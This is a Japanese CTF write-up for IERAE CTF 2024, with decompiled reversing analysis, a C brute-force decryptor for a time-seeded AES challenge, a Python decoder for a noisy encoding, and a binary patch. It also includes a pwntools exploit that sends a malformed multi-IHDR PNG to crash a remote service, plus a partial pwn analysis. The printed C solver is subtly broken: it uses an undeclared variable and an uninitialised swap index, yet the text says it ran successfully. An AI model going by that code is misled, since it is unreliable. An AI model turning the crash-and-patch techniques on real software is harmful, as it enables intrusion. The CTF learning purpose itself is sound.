→2024/09/25追記: 前述したようにzipinfo -v FILENAMEで確認した結果から、UTC+9環境で作成された可能性が高いと分かりました。

ふと、GetLocalTime関数でミリ秒以下も取得できるのか疑問に思ったので調べてみると、時間情報の取得 GetLocalTime() - 時間の扱い - 碧色工房が見つかりました。それによるとミリ秒以下も取得できるとのことです。というわけでやはりミリ秒以下を探索する必要があります。

ソルバーと実行結果とフラグ

念のため、作問者様が異なる標準時で暗号化したことを想定して、「ある程度の幅で1時間単位で前後」「ミリ秒要素を1ミリ秒単位で探索」するソルバーを実装しました。SYSTEMTIME型用の時間加算関数がないことに悲しみながらwindows - performing Arithmetic on SYSTEMTIME - Stack Overflowをお借りしたり、逆コンパイル結果を盛大に流用したり、要素位置変換関数の逆変換を間違えてドハマリしたりしながら、最終的に次のソルバーを書きました:

#include<windows.h>
#include<stdio.h>
#include<string>
#include<vector>

// BCrypt系関数のリンクエラー解決用
#pragma comment(lib, "Bcrypt.lib")

// _acrt_iob_func 関数がないと言われたので強引に対応
#define _acrt_iob_func(N) stderr

__int64 __fastcall GetRandomRange(int min, int max)
{
    int v3; // [rsp+20h] [rbp-18h]
    int v4; // [rsp+20h] [rbp-18h]

    v3 = rand();
    v4 = rand() * v3;
    return rand() * v4 / (0xFFFFFFFF / (max - min + 1) + 1) + min;
}

void __fastcall SwapElementsUsingRand_Reverse(BYTE* pData, unsigned int dwSize)
{
    BYTE byteSwap; // [rsp+20h] [rbp-18h]
    int i; // [rsp+24h] [rbp-14h]
    int SomethingUsingRand; // [rsp+28h] [rbp-10h]

    std::vector<int> position;
    for (i = 0; i < dwSize; ++i)
    {
        position.push_back(GetRandomRange(0, dwSize - 1));
    }

    for (i = dwSize - 1; i >= 0; --i)
    {
        target = position[i];
        byteSwap = pData[i];
        pData[i] = pData[SomethingUsingRand];
        pData[SomethingUsingRand] = byteSwap;
    }
}

// BCryptEncryptをBCryptDecryptへ変更しました
bool __fastcall DecryptUsingBcrypt(
    UCHAR* pSome1,
    ULONG dwSome1Size,
    UCHAR* pSome2,
    ULONG dwSome2Size,
    BYTE* pSrc,
    ULONG dwSrcSize,
    UCHAR** ppDest,
    ULONG* pdwDestSize)
{
    FILE* v8; // rax
    FILE* v9; // rax
    FILE* v10; // rax
    FILE* v11; // rax
    HANDLE ProcessHeap; // rax
    FILE* v13; // rax
    FILE* v14; // rax
    UCHAR* pbOutput; // [rsp+58h] [rbp-40h]
    SIZE_T dwBytes; // [rsp+60h] [rbp-38h]
    ULONG pcbResult; // [rsp+68h] [rbp-30h] BYREF
    BCRYPT_KEY_HANDLE phKey; // [rsp+70h] [rbp-28h] BYREF
    BCRYPT_ALG_HANDLE phAlgorithm; // [rsp+78h] [rbp-20h] BYREF
    ULONG v20; // [rsp+80h] [rbp-18h] BYREF

    phAlgorithm = 0LL;
    phKey = 0LL;
    pcbResult = 0;
    v20 = 0;
    if (BCryptOpenAlgorithmProvider(&phAlgorithm, L"AES", 0LL, 0) < 0)
    {
        v8 = _acrt_iob_func(2u);
        fprintf(v8, "Error: BCryptOpenAlgorithmProvider\n");
        exit(1);
    }
    if (BCryptSetProperty(phAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 0x20u, 0) < 0)
    {
        v9 = _acrt_iob_func(2u);
        fprintf(v9, "Error: BCryptSetProperty\n");
        exit(1);
    }
    if (BCryptGenerateSymmetricKey(phAlgorithm, &phKey, 0LL, 0, pSome1, dwSome1Size, 0) < 0)
    {
        v10 = _acrt_iob_func(2u);
        fprintf(v10, "Error: BCryptGenerateSymmetricKey\n");
        exit(1);
    }
    if (BCryptDecrypt(phKey, pSrc, dwSrcSize, 0LL, pSome2, dwSome2Size, 0LL, 0, &pcbResult, 1u) < 0)
    {
        v11 = _acrt_iob_func(2u);
        fprintf(v11, "Error: BCryptDecrypt (get size)\n");
        exit(1);
    }
    dwBytes = pcbResult;
    ProcessHeap = GetProcessHeap();
    pbOutput = (UCHAR*)HeapAlloc(ProcessHeap, 0, dwBytes);
    if (!pbOutput)
    {
        v13 = _acrt_iob_func(2u);
        fprintf(v13, "Error: HeapAlloc\n");
        exit(1);
    }

    bool succeeded = false;
    if (BCryptDecrypt(phKey, pSrc, dwSrcSize, 0LL, pSome2, dwSome2Size, pbOutput, pcbResult, &v20, 1u) < 0)
    {
        // Padidng都合でエラーになってるかも
        goto last;
        /*v14 = _acrt_iob_func(2u);
        fprintf(v14, "Error: BCryptDecrypt\n");
        exit(1);*/
    }
    *ppDest = pbOutput;
    *pdwDestSize = v20;
    succeeded = true;

    last:
    if (phKey)
        BCryptDestroyKey(phKey);
    if (phAlgorithm)
        BCryptCloseAlgorithmProvider(phAlgorithm, 0);
    return succeeded;
}

void __fastcall ReadFlagPngLaika(BYTE** ppBuffer, DWORD* pdwSize)
{
    FILE* v2; // rax
    FILE* v3; // rax
    HANDLE ProcessHeap; // rax
    FILE* v5; // rax
    FILE* v6; // rax
    DWORD dwFileSize; // [rsp+40h] [rbp-38h]
    HANDLE hFile; // [rsp+48h] [rbp-30h]
    BYTE* lpBuffer; // [rsp+50h] [rbp-28h]
    DWORD NumberOfBytesRead; // [rsp+60h] [rbp-18h] BYREF

    hFile = CreateFileW(L"flag.png.laika", GENERIC_READ, 1u, 0LL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0LL);
    if (hFile == (HANDLE)-1LL)
    {
        v2 = _acrt_iob_func(2u);
        fprintf(v2, "Error: CreateFile\n");
        exit(1);
    }
    dwFileSize = GetFileSize(hFile, 0LL);
    if (dwFileSize == -1)
    {
        v3 = _acrt_iob_func(2u);
        fprintf(v3, "Error: GetFileSize\n");
        CloseHandle(hFile);
        exit(1);
    }
    ProcessHeap = GetProcessHeap();
    lpBuffer = (BYTE*)HeapAlloc(ProcessHeap, 0, dwFileSize);
    if (!lpBuffer)
    {
        v5 = _acrt_iob_func(2u);
        fprintf(v5, "Error: HeapAlloc\n");
        CloseHandle(hFile);
        exit(1);
    }
    if (!ReadFile(hFile, lpBuffer, dwFileSize, &NumberOfBytesRead, 0LL))
    {
        v6 = _acrt_iob_func(2u);
        fprintf(v6, "Error: ReadFile\n");
        CloseHandle(hFile);
        exit(1);
    }
    CloseHandle(hFile);
    *ppBuffer = lpBuffer;
    *pdwSize = dwFileSize;
}
bool TestOne(BYTE* pFlagPngLaika, int dwFlagPngLaikaSize, SYSTEMTIME SystemTime)
{
    FILE* v3; // rax
    FILE* v4; // rax
    HANDLE ProcessHeap; // rax
    HANDLE v6; // rax
    unsigned int i; // [rsp+44h] [rbp-84h]
    unsigned int j; // [rsp+48h] [rbp-80h]
    HANDLE hFile; // [rsp+50h] [rbp-78h]
    BYTE* lpBuffer; // [rsp+58h] [rbp-70h] BYREF
    DWORD nNumberOfBytesToWrite; // [rsp+68h] [rbp-60h] BYREF
    DWORD NumberOfBytesWritten; // [rsp+80h] [rbp-48h] BYREF
    BYTE byteArraySize16[16]; // [rsp+88h] [rbp-40h] BYREF
    BYTE byteArraySize32[32]; // [rsp+98h] [rbp-30h] BYREF

    memset(byteArraySize32, 0, sizeof(byteArraySize32));
    memset(byteArraySize16, 0, sizeof(byteArraySize16));

    srand(
        SystemTime.wMilliseconds
        + 131243
        * (SystemTime.wSecond
            + 131243
            * (SystemTime.wMinute
                + 131243
                * (SystemTime.wHour
                    + 131243
                    * (SystemTime.wDay
                        + 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243))))))));
    for (i = 0; i < 0x20uLL; ++i)
        byteArraySize32[i] = rand();
    for (j = 0; j < 0x10uLL; ++j)
        byteArraySize16[j] = rand();
    lpBuffer = 0LL;
    nNumberOfBytesToWrite = 0;


    SwapElementsUsingRand_Reverse((BYTE*)pFlagPngLaika, dwFlagPngLaikaSize);
    auto succeeded = DecryptUsingBcrypt(
        byteArraySize32,
        0x20u,
        byteArraySize16,
        0x10u,
        (BYTE*)pFlagPngLaika,
        dwFlagPngLaikaSize,
        (UCHAR**)&lpBuffer,
        &nNumberOfBytesToWrite);

    if (!succeeded)
    {
        HeapFree(GetProcessHeap(), 0, lpBuffer);
        return false;
    }
    if (lpBuffer[0] != 0x89 || lpBuffer[1] != 'P' || lpBuffer[2] != 'N' || lpBuffer[3] != 'G')
    {
        HeapFree(GetProcessHeap(), 0, lpBuffer);
        return false;
    }

    std::string filename = "flag_" + std::to_string(SystemTime.wYear) + std::to_string(SystemTime.wMonth) + std::to_string(SystemTime.wDay) + "_" + std::to_string(SystemTime.wHour) + std::to_string(SystemTime.wMinute) + std::to_string(SystemTime.wSecond) + "_" + std::to_string(SystemTime.wMilliseconds) + ".png";
    printf("SUCCEEDED! filename: %s\n", filename.c_str());
    hFile = CreateFileA(filename.c_str(), 0x40000000u, 0, 0LL, 2u, 0x80u, 0LL);
    if (hFile == (HANDLE)-1LL)
    {
        v3 = _acrt_iob_func(2u);
        fprintf(v3, "Error: CreateFile\n");
        exit(1);
    }
    if (!WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0LL))
    {
        v4 = _acrt_iob_func(2u);
        fprintf(v4, "Error: WriteFile\n");
        CloseHandle(hFile);
        exit(1);
    }
    CloseHandle(hFile);
    if (lpBuffer)
    {
        ProcessHeap = GetProcessHeap();
        HeapFree(ProcessHeap, 0, (LPVOID)lpBuffer);
    }
    return true;
}


// https://stackoverflow.com/questions/8308236/performing-arithmetic-on-systemtime
SYSTEMTIME add(SYSTEMTIME s, double seconds) {

    FILETIME f;
    SystemTimeToFileTime(&s, &f);

    ULARGE_INTEGER u;
    memcpy(&u, &f, sizeof(u));

    const double c_dSecondsPer100nsInterval = 100. * 1.E-9;
    u.QuadPart += seconds / c_dSecondsPer100nsInterval;

    memcpy(&f, &u, sizeof(f));

    FileTimeToSystemTime(&f, &s);
    return s;
}

int main()
{
    BYTE* pFlagPngLaika = 0LL;
    DWORD dwFlagPngLaikaSize = 0;
    ReadFlagPngLaika(&pFlagPngLaika, &dwFlagPngLaikaSize);
    std::vector<BYTE> encrypted(pFlagPngLaika, pFlagPngLaika + dwFlagPngLaikaSize);
    HeapFree(GetProcessHeap(), 0, pFlagPngLaika);

    SYSTEMTIME baseSystemTime = {
        .wYear = 2024,
        .wMonth = 9,
        .wDayOfWeek = 2, // 火曜日
        .wDay = 17,
        .wHour = 12,
        .wMinute = 49,
        .wSecond = 20,
        .wMilliseconds = 0, // 後で全探索します
    };

    // どこかでメモリリークしていて全探索中にメモリ不足で死にます、死んだら目視で初期値を変えて再実行します
    //for (int diffHour = -9 - 12; diffHour < -9 + 12 + 1; ++diffHour)
    for (int diffHour = -9; diffHour < 12 + 1; ++diffHour)
    {
        printf("diffHour: %d\n", diffHour);
        auto SystemTime = add(baseSystemTime, diffHour * 60 * 60);
        // 浮動小数点誤差大丈夫なのかな……→秒レベルの精度は出るらしい

        std::string current_time = "flag_" + std::to_string(SystemTime.wYear) + std::to_string(SystemTime.wMonth) + std::to_string(SystemTime.wDay) + "_" + std::to_string(SystemTime.wHour) + std::to_string(SystemTime.wMinute) + std::to_string(SystemTime.wSecond) + "_" + std::to_string(SystemTime.wDayOfWeek);
        printf("current time: %s\n", current_time.c_str());

        for (int millisecond = 0; millisecond < 1000; ++millisecond)
        {
            SystemTime.wMilliseconds = millisecond;
            // printf("wMilliseconds = %d\n", i);

            std::vector<BYTE> copied = encrypted;
            auto succeeded = TestOne(copied.data(), copied.size(), SystemTime);
            if (succeeded) {
                MessageBeep(MB_ICONERROR);
                return 0;
            }
        }
    }
    return 1;
}

VisualStudioのC++プロジェクトでビルドして実行すると、flag_2024917_124920_307.pngファイルが出力されました。つまりは作問者様もUTC+9のタイムゾーンで暗号化したようです。また、ミリ秒要素は307だったようです。復号結果のファイルです:

フラグ内容が画像中テキストだけでなく、QRコード形式でも提供されています!フラグを入手できました: IERAE{3xpec7at1on_1s_a_w0rd_r00ted_1n_g1ving_up.}

なお、本記事を書くときにZIPファイルの解説を調べるとThe structure of a PKZip fileが見つかりました。それによると日時の秒要素はBits 00-04: seconds divided by 2とのことです。つまり2秒単位でのみ保持できるため、1秒ずれている可能性がありました!コンテスト中はこの事に気づいていなかったため、もし1秒ずれていたら更にハマっていたと思います……。

→2024/09/25追記: 前述したようにExtended Timestamp Extra Field箇所に秒単位の精度で日時が保持されていました。

それとは別にひたすらバグらせている間、「問題名はクドリャフカ、配布ファイル名はライカなので、ロシアのタイムゾーンかもしれない?」と迷走していたりしました。

[rev, medium] analog (10 teams solves, 324 points)

The flag is encoded in analog form.

本問題の解析結果はGitHubで掲載しています

配布ファイルとして、問題本体のanalogと、その出力のflag.encodedがありました:

$ file *
analog:       ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=94b8ab9046b2f10ab85e304f80cc36b5b3377bef, for GNU/Linux 3.2.0, stripped
flag.encoded: data
$

処理内容読解

analogをIDAで開いて、逆コンパイル結果などを頼りにひたすら読解していくと、次の処理を行っていることが分かりました:

  1. 1991付近で、fread関数を使って標準入力から256バイト読み込み
  2. 131Eの関数で、読み込み内容の先頭のLSBから順に、1バイトが0または1を持つ内容へ変換(→データサイズは8倍になる)
  3. 13D6の関数で、24要素の倍数になるまでパディングを入れつつ、3要素分を1要素へ変換(=1要素は0~7のいずれか)(→データサイズはパディング追加後に1/3)
  4. 1546の関数で、各要素の0~7値を、s-boxを使って変換(→データサイズはそのまま)
  5. 160Aの関数で、各要素の0~7値の1バイト値をsrc[i]として、次の2次元座標へ変換し、その座標をfloat32要素として4要素分書き込み(→データサイズは1バイトが4*2バイトになる)
    •  \theta = (2 * \text{src}\lbrack i \rbrack + 1) * \pi / 8として  p = (\cos(\theta), \sin(\theta))
    • この座標は、単位円の円周を8等分する点を表します
  6. 174Dの関数で、変換結果座標それぞれについて、長さ r \in \lbrack 0, 0.4 \rbrackと偏角 \theta \in \lbrack 0, 2*\pi \rbrackをランダムに生成して、そのベクトルをノイズとして加算(→データサイズはそのまま)
    • この加算は、元の同一4要素それぞれ別々に行われます
    • /dev/urandomを使ってランダムに生成しています
  7. 1A79付近で、fwrite関数を使って結果を標準出力へ書き込み

なお、浮動小数点演算を含む関数の場合、逆コンパイル結果はIDAよりもBinaryNinjaのほうが読みやすい傾向にありました。例えば160Aの関数のIDAの逆コンパイル結果は次のような内容です:

void __fastcall ProcOperation4_3BitsTo8Bytes_InCircumferencePoint(
        const BYTE *pSrc,
        __int64 dwSrcBytes,
        int **ppdwDest,
        size_t *pdwDestBytes)
{
  float fAngle1; // xmm0_4
  int *pdw1st; // rbx
  __m128i maybeCosValue; // xmm0
  int *pdw2nd; // rbx
  __m128i mayBeSinValue; // xmm0
  int i; // [rsp+24h] [rbp-1Ch]
  int j; // [rsp+28h] [rbp-18h]
  float fAngle2; // [rsp+2Ch] [rbp-14h]

  *pdwDestBytes = 32 * dwSrcBytes;
  *ppdwDest = (int *)malloc(*pdwDestBytes);
  for ( i = 0; i < (unsigned __int64)dwSrcBytes; ++i )
  {
    fAngle1 = (double)pSrc[i] / 8.0 * 6.283185307179586 + 0.3926990816987241;
    fAngle2 = fAngle1;
    for ( j = 0; j <= 7; j += 2 )
    {
      pdw1st = &(*ppdwDest)[8 * i + j];
      maybeCosValue = _mm_cvtsi32_si128(LODWORD(fAngle2));
      *(float *)maybeCosValue.m128i_i32 = cosf(*(float *)maybeCosValue.m128i_i32);
      *pdw1st = _mm_cvtsi128_si32(maybeCosValue);
      pdw2nd = &(*ppdwDest)[8 * i + 1 + j];
      mayBeSinValue = _mm_cvtsi32_si128(LODWORD(fAngle2));
      *(float *)mayBeSinValue.m128i_i32 = sinf(*(float *)mayBeSinValue.m128i_i32);
      *pdw2nd = _mm_cvtsi128_si32(mayBeSinValue);
    }
  }
  free((void *)pSrc);
}

一方でBinaryNinjaの逆コンパイル結果は次のような内容で、個人的に読みやすく思いました(.rodataセクションにあるfloat64の定数を、誤ってfloat32解釈で表示していることには注意が必要です):

0000160a  void ProcOperation4(uint8_t* pSrc, int64_t dwSrcBytes, float** ppfDest, int64_t* pdwDestByts)
0000160a  {
00001636      *(uint64_t*)pdwDestByts = (dwSrcBytes << 5);
0000164f      *(uint64_t*)ppfDest = malloc(*(uint64_t*)pdwDestByts);
00001652      int32_t i = 0;
00001734      while (((int64_t)i) < dwSrcBytes)
00001734      {
000016a1          int64_t zmm0_1;
000016a1          zmm0_1 = ((float)(3.37028055e+12 + ((((double)((uint32_t)pSrc[((int64_t)i)])) / 8.0) * 3.37028055e+12)));
000016a5          float var_1c_1 = zmm0_1;
00001725          for (int32_t j = 0; j <= 7; j = (j + 2))
00001725          {
000016b7              *(uint64_t*)ppfDest[((int64_t)(j + (i << 3)))] = cosf(var_1c_1);
000016ea              *(uint64_t*)ppfDest[(((int64_t)(j + (i << 3))) + 1)] = sinf(var_1c_1);
00001725          }
00001727          i = (i + 1);
00001734      }
00001741      free(pSrc);
0000160a  }

ソルバーと実行結果とフラグ

「単位円の円周を8等分する点」の2点間の距離は 2 * \sin(\pi / 8) \fallingdotseq 0.7653668647301796です。そのため最後にノイズとして加算するベクトルの長さが最大値近くを取ってしまうと、隣接する点が最も近くなってしまうため、元の点が分からなくなります。一方で同一の座標が4点含まれており、4点全てで長いベクトルが生成される可能性は低いことから、その4点の中で最も近い点を採用して復元すれば良さそうです。

また、その他の変換処理は、問題なく逆変換処理を実装できます。

2次元座標を扱う場合、複素数型を使うと簡単です。Pythonで複素数型を使う方法を色々調べたり、最も近い点を探そうとして逆に最も遠い点を探すバグを埋め込んだりしながら、最終的に次のソルバーを書きました:

#!/usr/bin/env python3

import cmath
import math
import struct

circumference_points: list[complex] = []
for i in range(8):
    angle = (2 * i + 1) * math.pi / 8
    point = cmath.rect(1, angle)
    circumference_points.append(point)
# print(f"{circumference_points = }")


def find_nearest_distance_and_position(p: complex) -> tuple[float, int]:
    diffs = list(map(lambda cp: abs(cp - p), circumference_points))
    nearest = sorted(enumerate(diffs), key=lambda t: t[1])[0]
    position = nearest[0]
    distance = nearest[1]
    assert 0 <= position < 8
    return distance, position


def unpack_and_decide_position(contnet: bytes) -> int:
    points = struct.unpack("<ffffffff", content)

    # print(f"{points         = }")
    candidate_list: list[tuple[float, int]] = []
    for i in range(len(points) // 2):
        x = points[2 * i + 0]
        y = points[2 * i + 1]
        (distance, position) = find_nearest_distance_and_position(x + 1j * y)
        candidate_list.append((distance, position))

    candidate_list.sort()
    # print(f"{candidate_list = }")
    return candidate_list[0][1]


position_list = []
filename = "flag.encoded"
# filename = "test_a_256.bin"
# filename = "test_space_256.bin"
# filename = "test_null_256.bin"
with open(filename, "rb") as f:
    while True:
        content = f.read(32)
        if len(content) == 0:
            break
        assert len(content) == 32
        position_list.append(unpack_and_decide_position(content))

sbox = [0, 3, 7, 4, 1, 2, 6, 5]  # .text:0000000000001571
inv_sbox = [0, 4, 5, 1, 3, 7, 6, 2]
for i in range(8):
    assert inv_sbox[sbox[i]] == i

original_bits = ""
for position in position_list:
    inv = inv_sbox[position]
    original_bits += str((inv >> 0) & 1)
    original_bits += str((inv >> 1) & 1)
    original_bits += str((inv >> 2) & 1)

print(f"{original_bits = }")
print(f"{len(original_bits) / 8 = }")
for i in range(len(original_bits) // 8):
    v = 0
    for j, b in enumerate(original_bits[8 * i : 8 * (i + 1)]):
        if b == "1":
            v |= 1 << j
    print(chr(v), end="")

実行しました:

$ ./solve.py
original_bits = '100100101010001001001010100000101010001011011110110000101010101000011010100011001110011000101010101001100010111000100010000011000100011010010110101011001100001001010110111011000110011011100010010100101010101010010110101000101001101011010010101011000100110000110010011011000110111001100010111011101111011011100010100100100101001010000110100011000110001010010110001001100110011001000110101010101011111001010000000000000000000000000000'
len(original_bits) / 8 = 54.0
IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}

フラグを入手できました: IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}

[pwn, homework] PNGParser(flag 1) (5 teams solves, 1 points)

This challenge is a homework problem from IERAE Days 2023 CTF. Check https://github.com/gmo-ierae/ierae-days-ctf-2023 for the files.

Note that only flag1 is valid as the answer.

nc (接続先IPアドレス省略) 51914

配布ファイルとして、問題本体のchallと、元ソースのchall.cがありました:

$ file *
Dockerfile: ASCII text
Makefile:   ASCII text
chall:      ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b554dd01b15e91cdfd6a58bde4b3084ff9a9927, for GNU/Linux 3.2.0, not stripped
chall.c:    C source, ASCII text
chall.conf: ASCII text
flag1.txt:  ASCII text
flag2.txt:  ASCII text
run.sh:     POSIX shell script, ASCII text executable
$

chall.c内容は382行ありますし、GitHubで公開されているため全掲載は省略します。次のような内容でした:

  • SIGSEGV, SIGABRT, SIGILL, SIGBUSのシグナルのいずれかが発生するとフラグが表示されるようにsignal関数で登録しています
  • PNG画像を入力として与えられます

PNG画像の読み込み処理をよく読むと、PNGファイル中にIHDRチャンクが複数登場する場合もエラーとせず処理する内容になっていました。特に、最初のIHDRチャンク内容から画像サイズを取得してメモリ確保していますが、IDATチャンク処理時は最後に見つかったIHDRチャンク内容の画像サイズを使って処理しています。このため、1つ目のIHDRチャンクに小さな画像サイズを、2つ目のIHDRチャンクに大きな画像サイズを格納して処理させると、セグメンテーションフォルトを引き起こせそうです。この発想でソルバーを書きました:

#!/usr/bin/env python3

import cv2
import numpy as np
import pwn

# pwn.context.log_level = "DEBUG"


def create_black_png(width: int, height: int) -> bytes:
    # ihdr_chunk.color_type = 0 の必要がある、多分グレイスケールカラーのこと
    image = np.zeros((height, width, 1), np.uint8)
    succeeded, encoded = cv2.imencode(".png", image)
    assert succeeded
    return bytes(encoded)


def create_crafted_png() -> bytes:
    image_small = create_black_png(1, 1)
    image_large = create_black_png(0x400, 0x400)

    pos_ihdr = 8
    pos_idata = pos_ihdr + 4 + 4 + 13 + 4  # length, type, data, crc
    image_crafted = image_small[:pos_idata] + image_large[pos_ihdr:]
    return image_crafted


def solve(io: pwn.tube):
    image_crafted = create_crafted_png()

    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size of png: ", str(len(image_crafted)).encode())
    io.sendafter(b"send your png:", image_crafted)
    print(io.recvall().decode())


# with pwn.remote("localhost", 51914) as io:
#     solve(io)
with pwn.remote("198.51.100.1", 51914) as io:
    solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 51914: Done
[+] Receiving all data: Done (49B)
[*] Closed connection to 198.51.100.1 port 51914

IERAE{t0_MAK3_a_CR4SH_Is_7H3_fIr57_StEp_Of_PWn}
$

フラグを入手できました: IERAE{t0_MAK3_a_CR4SH_Is_7H3_fIr57_StEp_Of_PWn}

[rev, homework] Vending Slot Machine (9 teams solves, 1 points)

This challenge is a homework problem from IERAE Days 2023 CTF. Check https://github.com/gmo-ierae/ierae-days-ctf-2023 for the files.
本問題の解析結果は[GitHubで掲載しています](https://github.com/Tan90909090/ctf-writeups/tree/main/IERAE_CTF_2024/vending-slot)。

配布ファイルとして、vending-slot-machineがありました:

$ file *
vending-slot-machine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba8447ec70d2c5f18caced68ae8e67c3e40e6c45, for GNU/Linux 3.2.0, stripped
$

IDAで開いて逆コンパイルして読解すると、次の内容でした:

  • libncurses.so.6を使って、ターミナル入出力を制御します
  • 15F0の関数で、rand関数で乱数を生成して、usleep関数で待ち時間を作ってアニメーションをさせながら、スロットマシンを回します。
    • 乱数の値によっては成功扱いで、カウンターが1つ増えます。
    • また成功時は、196A付近で、復号に使用するグローバル変数の値を変化させます。
  • 合計1000回成功すると、1980の関数でグローバル変数の値を使ってフラグを復号して表示します。

フラグ復号時にグローバル変数の値を使うため、単に1980の関数へ制御を移すだけではフラグを得られません。そのためバイナリパッチをあてて、毎回成功扱いにさせる方針を取りました。具体的には次の場所へパッチをあてました:

  • usleep関数の呼び出し場所3箇所について、引数を0へ変更
    • この変更により、待ち時間が無くなります。
  • 190074 46EB 46へ変更、つまり JZ rel8JMP rel8へ変更
    • この変更により、rand関数による乱数に関係なく、毎回ボトルが増えるようになります。

パッチを当てた状態でプログラムを実行して、しばらくキーを押し続けました。フラグ取得直前の表示です:

Current Money  : 600
Current Bottles: 1988
Drink Price    : 100
If the number of current bottles reaches 2000, you will get the flag.Push any key to buy a bottle of drink ...


                      #########################
                      #     #     #     #     #
                      #  3  #  3  #  3  #  4  #
                      #     #     #     #     #
                      #########################






1000回成功すると、画面中央にフラグが表示されました: IERAE{H4v3_Y0u_3v3r_W0n_4_R34l_Slot_0f_4_V3nd1ng_M4ch1n3?}

ある程度進められたけど解けなかった問題

[pwn, was_warmup, easy] Copy & Paste (24 teams solves, 244 points)

I set this problem as warmup, but my teammates disagreed, so I changed the tag. I strongly recommend you to use the provided docker env, not your host env.

nc (接続先IPアドレス省略) 5001

配布ファイルとして、問題本体のchalと、元ソースのchal.cがありました:

$ file *
Dockerfile:         ASCII text
chal:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a4e66e460b4e3000aa7ba9a3d0281389a93e9d5, for GNU/Linux 3.2.0, not stripped
chal.c:             C source, ASCII text
docker-compose.yml: ASCII text
flag.txt:           ASCII text
$

chal.cは次の内容でした:

// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/param.h>

void win(int sig) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

void show_menu(void) {
  puts("1. Create new buffer and load file content");
  puts("2. Copy some buffer to another");
  puts("3. Exit");
  printf("Enter command: ");
}

char input_buf[PATH_MAX+1];

char* read_str(void) {
  fgets(input_buf, PATH_MAX+1, stdin);

  // Remove '\n'
  char *newline_ptr = strrchr(input_buf, '\n');
  if (newline_ptr) *newline_ptr = '\0';

  return input_buf;
}

int read_int(void) {
  return atoi(read_str());
}

struct buffer {
  size_t buf_size;
  char *buf_ptr;
};

#define MAX_BUF_NUM 2

int available_idx = 0;
struct buffer bufs[MAX_BUF_NUM];

void create_new_buf() {
  if (available_idx >= MAX_BUF_NUM) {
    printf("You can't create more than %d buffers\n", MAX_BUF_NUM);
    exit(1);
  }

  struct buffer *dst = &bufs[available_idx++];

  printf("Enter file name: ");
  char *fname = read_str();

  FILE *fp = fopen(fname, "r");
  if (!fp) {
    puts("Your specified file doesn't exist");
    exit(1);
  }

  // Get file size to allocate buffer
  fseek(fp, 0, SEEK_END);

  int size = ftell(fp);
  char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0'
  if (!ptr) {
    puts("malloc failed");
    exit(1);
  }

  // Read file content
  fseek(fp, 0, SEEK_SET);

  fread(ptr, sizeof(char), size, fp);
  ptr[size] = '\0';
  fclose(fp);

  dst->buf_ptr = ptr;
  dst->buf_size = size;

  printf("Read %d bytes from %s\n", size, fname);
}

void copy() {
  if (available_idx < 2) {
    puts("This command needs at least two buffers");
    exit(1);
  }

  printf("Enter source index: ");
  int src_idx = read_int();
  if (src_idx < 0 || available_idx <= src_idx) {
    puts("Source index is invalid");
    exit(1);
  }

  printf("Enter destination index: ");
  int dst_idx = read_int();
  if (dst_idx < 0 || available_idx <= dst_idx) {
    puts("Destination index is invalid");
    exit(1);
  }

  if (src_idx == dst_idx) {
    puts("Source and destination should be different");
    exit(1);
  }

  struct buffer *src = &bufs[src_idx];
  struct buffer *dst = &bufs[dst_idx];
  size_t copy_size = src->buf_size;
  if (dst->buf_size < copy_size) copy_size = dst->buf_size;

  memcpy(dst->buf_ptr, src->buf_ptr, copy_size);
  printf("Copied %llu bytes from buf #%d to buf #%d\n", copy_size, src_idx, dst_idx);
}

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);
  setbuf(stdout, NULL);

  while (1) {
    show_menu();

    int cmd = read_int();
    if (cmd == 3) break;

    switch (cmd) {
    case 1:
      create_new_buf();
      break;
    case 2:
      copy();
      break;
    }
  }

  return 0;
}

この問題もwarmup問題同様に、signal(SIGSEGV, win);でセグメンテーションフォルトが起こった場合にwin関数を実行するよう設定しています。

ftellを失敗させて巨大サイズをコピーさせてもSIGSEGVは起こらず……

どこでセグメンテーションフォルトを引き起こせる余地があるか悩みながら読んでいると、次の箇所が目に止まりました:

  int size = ftell(fp);
  char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0'
  if (!ptr) {
    puts("malloc failed");
    exit(1);
  }

ftell - cppreference.comを見ると、ftellが失敗すると-1を返すことが分かります。その場合、mallocで0バイト分確保しようとします。malloc - cppreference.comを見るとIf size is zero, the behavior of malloc is implementation-defined. For example, a null pointer may be returned. Alternatively, a non-null pointer may be returnedとあります。もしmalloc(0)が非NULLポインターを返す場合、巨大なサイズをサイズをコピーできそうです。

dockerコンテナを起動して実験すると、/tmp等のディレクトリを指定すると、fopenを成功させつつftellを失敗させられることが分かりました:

$ nc localhost 8190
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /tmp
Read -1 bytes from /tmp

なお、dockerコンテナ起動時にマウントしているらしい表示のある /, /proc, /srvディレクトリの場合はftellは成功して0を返しました。

sourceとdestinationの両方に/tmpディレクトリを指定してコピーしてやれば、巨大サイズをコピーしようとしてセグメンテーションが起こると思っていました:

$ nc localhost 8190
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /tmp
Read -1 bytes from /tmp
